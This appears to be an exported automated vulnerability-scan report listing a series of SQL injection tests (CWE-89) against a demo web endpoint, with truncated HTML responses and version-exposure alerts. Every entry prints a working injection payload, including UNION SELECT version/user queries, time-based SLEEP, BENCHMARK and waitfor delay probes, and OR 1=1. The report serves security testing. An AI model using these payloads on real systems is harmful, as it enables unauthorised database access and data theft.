Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1667
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1668
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 1) or sleep(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1669
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK
(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1670
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+
CHAR(88)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1671
Scan SQL InjectionSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1672
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AS INJECTX WHERE 1=1 AND 1=0
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1673
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1674
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# benchmark(50000000,MD5(1))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1675
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1676
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or pg_SLEEP(5)#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1677
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 1,SLEEP(5),3,4--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1678
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1679
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1680
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ORDER BY 18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1681
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ');waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1682
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# 'LIKE'
